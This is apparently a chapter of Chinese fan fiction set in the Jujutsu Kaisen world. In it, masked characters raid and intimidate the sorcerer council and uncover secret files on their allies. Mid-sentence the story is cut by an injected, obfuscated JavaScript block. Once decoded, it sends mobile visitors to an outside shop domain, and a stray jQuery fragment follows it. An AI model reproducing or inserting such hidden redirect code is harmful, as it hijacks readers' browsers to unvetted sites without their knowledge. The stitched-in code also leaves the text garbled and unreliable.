于是,某个月黑风高夜,三位蒙面人秘密潜入了咒术界高层们居住的府邸。
“这样真的能行吗?”
樱井兰捂着嘴小声说道。
“就是要这样。使用最原始的犯案手法,才能不留下任何咒力痕迹。
这样即便他们后面来查也一无所获。”夏油杰耐心解释。
他非常谨慎地伸手,递给樱井兰和五条悟一把迷香。
“就用这个吧。”
“说不定他们还会因此惊心胆战,畏畏缩缩。然后封锁消息,老老实实按照我们的要求去做。”
五条悟笑了笑,叉着腰猖狂起来,“这群高层的老橘子最怕死了。等下他们看到我们的表情肯定很精彩,我要拍几张留作纪念。”
在这个漆黑的伸手不见五指的夜晚,几支细细的塑料管捅破窗户的油纸,前端冒出一阵阵轻飘飘的白烟。
屋里的人们都已经熟睡,根本没发现窗外的动静。
“分头吧。我去左边,悟你去右边。”夏油杰走到一间屋子的门前,轻轻推了推。
“了解。”五条悟比了个手势。
“那我去其他地方看看。”樱井兰跟着点了点头,轻手轻脚走过木质的庭院中间。
园艺师裁剪整齐的树丛里,偶尔冒出几只萤火虫,上下飞舞。
除此之外,在这寂静的夜里,再看不见其他活物。
这里是高层的议事厅,进了门就是一个巨大的圆形论坛。绕着它核心一圈外。布置着密集的探测装置。
议事厅的最中央有几排书架,上面放着一些摆放杂乱的资料。
樱井兰收敛气息,身形迅捷,小心翼翼的避开探测的区域,来到了高大的书架前。
她自顾自扫视了几眼,没想到这里居然守卫这么严。
果然设置了帐吗……
越是强大的帐都会伴有更加明显的锚点。
根据高专老师教授的帐的相关理论,在施术者和帐之间一定存在连接束缚的咒力丝线。
留影的剑刃可以斩断。
樱井兰收回剑,半透明的帐渐渐破碎,消散在空气里。
那么,就让我来看看,你们费尽心思想要掩藏的秘密到底是什么?
几份泛黄的文献上,潦草的文字记载着几则简短的故事。
樱井兰在黑暗中小心捧着书,努力辨认文字的意思。
咒物……平安时代……封印。
家族分裂……维护手段,以直系血缘和术式论继承的名录。
决战……六眼与完全体十种影法术……禅院……的竞争。
天元……销毁或者替代……改——
这样啊。
樱井兰眉头飞快地往上抬了一下,又落回原位。
“没想到是这种样子啊,现在的咒术界高层研究的就是这些吗。
明明已经过去了几十年,却一点长进都没有呢。”
和舅舅说的完全一样。
“嘛,不过也影响不了什么。还以为能找到更有用价值的资料呢。”她失望叹了口气,转身去其他地方搜寻。
突然一份文件掉在地上,她下意识看过去,上面贴了好几个封条。
樱井兰小心翼翼撕开封条的粘合面,打开袋子,抽出几张写满文字的纸张。
二号提案,保密等级,一级(内部保密),咒术总监部,存档日期,2004……
夏油杰,咒灵操术持有者,其术式可以通过收服咒灵增加战力。
理论上可无限增加咒灵储备,此特性在咒术界历史上未有先例,具备一级研究价值。
建议将夏油杰作为研究对象长期接触,适度干涉。
必要时候特殊处置。
注;研究不适用于目标存活时期,干涉不适用于早期接触阶段。以上不适用于一号咒灵操术持有者的处置方案。
樱井兰拧眉,神情不悦。
虽然看不大明白,总觉得不是什么好东西呢。
她手指摩挲了两下纸张,在后面发现还有几页。
一号提案……已废弃待修改。
……
零号提案,保密等级,特级待定,咒术总监部,存档日期,1999……
夜蛾正道,能够制造咒骸的天才咒术师。一人开创咒术傀儡学。咒骸等级记录在册,目前最高为一级,最低为三级。
咒骸为非生物存在。
研究潜力不可估量,建议长期监视。必要时强行干涉。推荐成为战时秘密武器。
什么意思……?
樱井兰死死盯着这些文字,那是一种从骨髓深处渐渐漫上来的寒冷。
亲眼看见自己的同伴和师长的名字,出现在在咒术界的控制名录。
甚至上面有一些似是而非的冷漠评估,一些冷冰冰的压榨的计划。
高专的老师和学生在他们眼里就是这样的,可以随意估量价值的物品吗?
她轻嗤了一声,真恶心啊。
明明派咒术师在前线与咒灵冲锋陷阵的是这些人,在背后准备捅刀子的也是这些人。
……
外面突然变得喧闹起来。
透过门缝看得到隐约亮起的灯光,还有几间门户大开的屋子。
几个男人的凄惨求饶声不绝于耳。
樱井兰放下手里的文件,轻轻关上门退了出来。
悟和杰他们两个人的动作还是蛮快嘛,出去看看吧。
至于其他具体的情况,得找个时间,去问问夜蛾老师。
空旷的老式庭院走廊里此刻满是人,一排人跪在地上,整整齐齐。
“你们这些臭老头,知道自己做错了什么吗?”五条悟捏着嗓子,尖锐的声音透过头套传出来。
“是啊,你们这些卑鄙的人,是否认清了自己的罪行?”夏油杰端着腔调,刻意压低了声音。
“我们……我们有罪。”
矮小的中年男人恐惧的伏在地上,脸上还带着暴揍一顿后的青紫。
此刻瑟瑟发抖说话吐字不清,“请示大人,小……小人愚蠢,是否能明示过错在何处?”
“啊,事到如今竟然还不反省!”
樱井兰走过去双手交叠托住下巴,坐在椅子上,伪装成粗犷的男声说:“你们的罪行在于太多了啊。非要我一一列举出来才肯承认吗?
明明身处高位却不做应当做的事情,只会利用手中的职权迫害他人。
身为咒术界的人从来不思
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916351|213333||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
考如何遏制咒灵,而是用其他咒术师的尸体去填补这个漏洞。
还有,为了金钱的利益和表世界的普通官员勾结,具体做了什么不用我再多说了吧……”
几人顿时流出冷汗,面面相觑,目光闪躲。
“怎么不敢说话了?”
樱井兰不耐烦点了点椅背,“我的耐心有限,蠢货们。”
“是。大人,那烦请问一下大人今天的意思是?”另一个老头沉默后悄悄抬起头,试探发问。
“咳——”樱井兰眼神示意夏油杰。
夏油杰心领神会,咳了一声,“也没什么,只是来警告你们一回。希望你们记住,以后作决策的时候呢,多想一想今天,再看看自己要干什么。
要是这个干不好,说不定以后有谁接了组织的赏金来要你们几个的命。
你们好好考虑吧,毕竟生命只有这一次。”
“是……”
“我们……我们知道了。”
“大人,大人还要什么吗,无论是什么美人还是金钱,我们立马为您奉上。”
夏油杰抬手,摇了摇头。
“不用了。今天仅此一次劝告。以后说不定我们还会来这里,你们作好觉悟吧。这取决于你们是否能让我看到你们的诚意。”
“是是。”几人连忙点头。
空气中一时间安静下来。
跪在地上的众人只觉膝盖疼痛难忍,他们等了几分钟悄悄抬起头来看。
几个黑衣人早就不见了踪影。
松下雄立马爬起来,心中涌出怒火,他对着四周畏畏缩缩的仆人喊道,“护卫队呢,在干什么。负责维护和布置结界术的人呢,全都给我找过来。还有那几个探子。”
“各队负责人出来。你们这么大动静还睡得香啊,啊,都是干什么吃的。”松下雄看到慌忙跑过来的几个人,心中的杀意更加浓烈。
一群吃饱了不干事的废物,拿这丰厚的工资,根本没起什么作用。
几人低着头,缩着脖子不敢说话。
松下雄绕着几人慢悠悠走了一大圈。
木屐敲在地板上发出清脆的哒——哒——声。
那声音如同催命的钟声,一声一声敲在众人的心头。
一时间几人只觉得心脏怦怦跳,几乎要窒息在这压抑恐怖的氛围中。
“诅咒师?”
“赏金?”
“谁发起的?你们觉得呢?”
松下雄脸色阴沉,“究竟是内部出了叛徒,还是外部的事件,你们没有一点思考能力吗?”
“不过也没办法。今天潜入的几人实力很强。而且,即便把我们都揍了一顿,也根本没留下任何咒力残秽。”
水无月莲笑了笑,打破了安静的局面,“您别生气了,我们先得把他们的目的搞清楚,才能方便之后的调查。”
松下雄斜着睨了他一眼,眼神带着微妙的轻视。
他不情不愿地说,“那就交给你去办吧。三天之内,我要看到结果。”
说完松下雄又转身走了几步,突然停在一个蓄着胡须的年轻青年的面前。
“我记得,你叫田中对吧。”
“是的,大人。”田中低着头老实回答。